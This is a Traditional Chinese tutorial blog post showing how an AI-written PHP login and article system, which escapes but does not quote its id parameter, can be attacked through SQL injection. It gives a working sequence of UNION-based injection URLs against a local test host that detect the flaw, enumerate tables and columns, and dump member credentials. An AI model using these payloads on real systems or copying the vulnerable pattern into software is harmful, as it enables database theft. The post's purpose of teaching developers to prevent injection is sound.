我是廣告,點擊一下吧!
標籤
#Flutter (11) 、 #PHP (8) 、 #Laravel (6) 、 #Mac (4) 、 #Dart (4) 、 #MySQL (4) 、 #VS Code (2) 、 #IDE (2) 、 #List (2) 、 #Android (2) 、 #Linux (2) 、 #Shell Script (2) 、 #addMonthNoOverflow (1) 、 #Deferred Join (1) 、 #subMonthNoOverflow (1) 、 #floorMonth (1) 、 #資安 (1) 、 #SVG (1) 、 #Directory Structure (1) 、 #SQL Injection (1) 、 #MySQL 效能 (1) 、 #subMonth (1) 、 #addMonth (1) 、 #Carbon (1) 、 #keytool (1) 、 #Play App Signing (1) 、 #copy (1) 、 #file_put_contents (1) 、 #file_get_contents (1) 、 #fwrite (1)注碼攻擊 (SQL Injection) 是 PHP 初學者程式碼中常出現的漏洞,就算有使用框架的 ORM 還是很可能會在 Table Column Name 的地方用 Request Parameter 組字串造成 PDO prepare 做白工。
這篇文章著重在攻擊者會如何玩你的系統,在有限的條件下要想辦法取得資料,一步一步把你資料庫中的資料慢慢搬走。
請 ChatGPT 寫一個範例,我直覺他會寫出有漏洞的程式,果不其然有一個地方可以利用,以下是我詠唱的指令
使用 PHP 寫登入會員,登入後有最新消息列表跟內容頁面可以看
裡面有三個預設會員,密碼你設定後跟我說;裡面預設有五篇文章
最後會產生一個 PHP 檔案與一個 SQL 檔案
使用繁體中文回答
以下為 ChatGPT 回應 (密碼我有改過,因為他給的 Hash 全錯,都不是 123456)
好的,我會幫你寫一個 PHP 登入會員系統,並設定三個預設會員的密碼,以及五篇預設文章。
### Table Create SQL
首先,我們來建立需要的資料表。這裡我們會建立兩個資料表,一個是會員資料表 `members`,另一個是文章資料表 `articles`。
```sql
-- 會員資料表
CREATE TABLE members (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(50) NOT NULL UNIQUE,
password VARCHAR(255) NOT NULL
);
-- 文章資料表
CREATE TABLE articles (
id INT AUTO_INCREMENT PRIMARY KEY,
title VARCHAR(100) NOT NULL,
content TEXT NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
-- 插入預設會員
INSERT INTO members (username, password) VALUES ('member1', '$2y$10$6YiH4zNA9CFpH1a2hHMcVe2LI4H/A3N9e5FTipelWEdQSQ5zBfNbS');
-- 密碼是 123456 經過 bcrypt 加密後的結果
INSERT INTO members (username, password) VALUES ('member2', '$2y$10$6YiH4zNA9CFpH1a2hHMcVe2LI4H/A3N9e5FTipelWEdQSQ5zBfNbS');
INSERT INTO members (username, password) VALUES ('member3', '$2y$10$6YiH4zNA9CFpH1a2hHMcVe2LI4H/A3N9e5FTipelWEdQSQ5zBfNbS');
-- 插入預設文章
INSERT INTO articles (title, content) VALUES ('文章一', '這是文章一的內容。');
INSERT INTO articles (title, content) VALUES ('文章二', '這是文章二的內容。');
INSERT INTO articles (title, content) VALUES ('文章三', '這是文章三的內容。');
INSERT INTO articles (title, content) VALUES ('文章四', '這是文章四的內容。');
INSERT INTO articles (title, content) VALUES ('文章五', '這是文章五的內容。');
```
### PHP 登入會員系統範例
接下來是 PHP 的程式碼,用來實作登入會員功能、顯示最新消息列表和文章內容。
```php
<?php
// 連接資料庫
$servername = "localhost";
$username = "your_username";
$password = "your_password";
$dbname = "your_database";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
// 登入會員
session_start();
if (isset($_POST['username']) && isset($_POST['password'])) {
$username = $_POST['username'];
$password = $_POST['password'];
// 防止 SQL 注入
$username = mysqli_real_escape_string($conn, $username);
$sql = "SELECT * FROM members WHERE username='$username'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if (password_verify($password, $row['password'])) {
$_SESSION['username'] = $username;
} else {
echo "密碼錯誤";
}
} else {
echo "會員不存在";
}
}
// 檢查登入狀態
if (!isset($_SESSION['username'])) {
echo "
<form method='post' action='login.php'>
帳號:<input type='text' name='username'><br>
密碼:<input type='password' name='password'><br>
<input type='submit' value='登入'>
</form>";
exit;
}
// 登出
if (isset($_POST['logout'])) {
session_unset();
session_destroy();
header("Location: login.php");
exit;
}
// 最新消息列表
$sql = "SELECT * FROM articles ORDER BY created_at DESC LIMIT 5";
$result = $conn->query($sql);
echo "<h2>最新消息列表</h2>";
while ($row = $result->fetch_assoc()) {
echo "<a href='article.php?id={$row['id']}'>{$row['title']}</a><br>";
}
// 文章內容頁面
if (isset($_GET['id'])) {
$article_id = $_GET['id'];
// 防止 SQL 注入
$article_id = mysqli_real_escape_string($conn, $article_id);
$sql = "SELECT * FROM articles WHERE id=$article_id";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
echo "<h2>{$row['title']}</h2>";
echo "<p>{$row['content']}</p>";
} else {
echo "文章不存在";
}
}
$conn->close();
?>
```
### 檔案說明
- **login.php**: 包含登入表單、處理登入、顯示最新消息列表和文章內容等功能。
- **article.php**: 處理文章列表顯示和文章內容的 PHP 程式碼。
請將這些程式碼分別存為 `login.php` 和 `article.php`。確保在使用前修改資料庫連線的相關設定(`$servername`, `$username`, `$password`, `$dbname`)以及使用者名稱和密碼的加密方式。
這樣你就擁有一個基本的 PHP 登入會員系統,並可以顯示最新消息列表和文章內容。預設會員的密碼分別是:
- member1: 密碼是 `123456`
- member2: 密碼是 `123456`
- member3: 密碼是 `123456`
可以看到雖然有使用 mysqli_real_escape_string
過濾,但卻忽略 mysqli_real_escape_string
的參數因為在 SQL 中沒有引號包起來所以漏洞還是存在。
取得任意資料的原理就是使用 UNION 來覆蓋原本要撈取的資料,讓想取得的資料顯示在網頁的某處。
一般攻擊者不會知道你程式碼哪邊有問題,通常會從網址的 Get Parameter 去 Try。Try 的方式大概就是看會不會吐錯誤訊息或是用 Sleep。
網址的 id 參數是最常有洞的地方,以下方式如果發現前往網址有五秒鐘的延遲,代表注入成功,這有漏洞可以玩。
http://test-sql-injection.local.tw/article.php?id=2%20AND%20sleep(5)
組出的 SQL 會是
SELECT * FROM articles WHERE id=2 AND sleep(5)
找到漏洞後就要 Try SQL 的 SELECT 有幾個欄位。
利用的是 ORDER BY 語句可以用 1 2 3 4 代替 SELECT 的相應順序欄位,所以試到資料撈不出來時就是這串 SQL 有 SELECT 幾個欄位。
http://test-sql-injection.local.tw/article.php?id=2%20ORDER%20BY%201
組出的 SQL 會是
SELECT * FROM articles WHERE id=2 ORDER BY 1
http://test-sql-injection.local.tw/article.php?id=2%20ORDER%20BY%205
組出的 SQL 會是
SELECT * FROM articles WHERE id=2 ORDER BY 5
當 ORDER BY 5 時文章內頁會是空的,代表 SQL 已經出錯資料撈不到,此時可以確認該 SQL 有 4 個 SELECT 欄位
抓到有幾個欄位後,就可以用 SELECT 1,2,3,4
的方式,去看這些欄位會對應到畫面的哪些位置,那幾個位置就是可以搞事的地方。
http://test-sql-injection.local.tw/article.php?id=2%20AND%201=2%20UNION%20SELECT%201,2,3,4
組出的 SQL 會是
SELECT * FROM articles WHERE id=2 AND 1=2 UNION SELECT 1,2,3,4
加個 AND 1=2
是要讓原本id 為 2 的資料撈不出來,以便用我們的 1,2,3,4 去取代
第三步得出文章標題是 2、文章內文是 3,就可以使用一些 SQL Function 來取得資料庫的基本資訊
http://test-sql-injection.local.tw/article.php?id=2%20AND%201=2%20UNION%20SELECT%201,database(),group_concat(table_name),4%20from%20information_schema.tables%20where%20table_schema=database()
組出的 SQL 會是
SELECT * FROM articles WHERE id=2 AND 1=2 UNION SELECT 1,database(),group_concat(table_name),4 from information_schema.tables where table_schema=database()
可以看到這邊將 2 取代成 database()
,這個 Function 是將目前 Use 的 Database Name 印出來。
3 取代成 group_concat(table_name)
,MySQL 中的 information_schema 是存放一些資料庫的後設資料 (Metadata)。
INFORMATION_SCHEMA provides access to database metadata, information about the MySQL server such as the name of a database or table, the data type of a column, or access privileges. Other terms that are sometimes used for this information are data dictionary and system catalog.
其中 information_schema.tables 是儲存 Table 的各項資訊。 group_concat
可以將多筆資料用逗號(,)整合成一筆 Row Data 方便顯示。
information_schema.tables.table_schema 會儲存資料庫名稱,所以剛好使用 table_schema=database()
就可以把目前該資料庫的資料表通通抓出來。
第四步得知有兩張表:members、articles。取得所有資料表名稱後,就可以開始抓 Table Columns
http://test-sql-injection.local.tw/article.php?id=2%20AND%201=2%20UNION%20SELECT%201,database(),group_concat(column_name),4%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x61727469636C6573
組出的 SQL 會是
SELECT * FROM articles WHERE id=2 AND 1=2 UNION SELECT 1,database(),group_concat(column_name),4 from information_schema.columns where table_schema=database() and table_name=0x61727469636C6573
如同第四步,information_schema.columns 顧名思義是存放各個 Table 的 Columns。 可以看到這邊條件多了一個 table_name=0x61727469636C6573
,這是因為 PHP 裡有將參數使用 mysqli_real_escape_string
做處理,所以如果使用 table_name='articles'
會被轉換成 table_name=\'articles\'
導致注入失敗,所以就要利用 MySQL 的特性「0x開頭會當十六進制編譯」,將字串轉為十六進制就可以不需要使用單引號(')完成搜尋,Google 搜尋「string to hex online」就可以找到許多人寫的轉換工具。
第五步得知 articles 這張資料表有四個欄位:id、title、content、created_at。既然有 Table Name 也有 Columns Name 了,那就可以將資料通通印出來了。
http://test-sql-injection.local.tw/article.php?id=2%20AND%201=2%20UNION%20SELECT%201,database(),group_concat(concat(id,0x2C,content,0x2C,title,0x2C,created_at)%20SEPARATOR%200x3C62723E),4%20from%20articles
組出的 SQL 會是
SELECT * FROM articles WHERE id=2 AND 1=2 UNION SELECT 1,database(),group_concat(concat(id,0x2C,content,0x2C,title,0x2C,created_at) SEPARATOR 0x3C62723E),4 from articles
印出來的結果就是一個 CSV 格式,太多筆就用 LIMIT 去處理,慢慢分批撈出,基本上其他表依樣畫葫蘆,你的資料庫就全部外洩了。
http://test-sql-injection.local.tw/article.php?id=2%20AND%201=2%20UNION%20SELECT%201,database(),group_concat(column_name),4%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x6D656D62657273
SELECT * FROM articles WHERE id=2 AND 1=2 UNION SELECT 1,database(),group_concat(column_name),4 from information_schema.columns where table_schema=database() and table_name=0x6D656D62657273
http://test-sql-injection.local.tw/article.php?id=2%20AND%201=2%20UNION%20SELECT%201,database(),group_concat(concat(id,0x2C,username,0x2C,password)%20SEPARATOR%200x3C62723E),4%20from%20members
SELECT * FROM articles WHERE id=2 AND 1=2 UNION SELECT 1,database(),group_concat(concat(id,0x2C,username,0x2C,password) SEPARATOR 0x3C62723E),4 from members
一般常聽到 SQL Injection 實例是 Drop Table、繞過登入,但如果要執行 Drop Table 需要 Multiple Query,大部分的程式也不會用 mysqli_multi_query
;登入也都會先抓使用者再比對 Password 的 Hash 是否正確了,要出現 OR 1=1
就能登入的情況也不多了。
Drop Table 可以靠備份,繞過登入可以發現後緊急補洞,但資料外洩一去不復返,不肖人士可以在你完全無察覺的情況將你所有資料偷走,寫程式時千萬要注意 SQL Injection。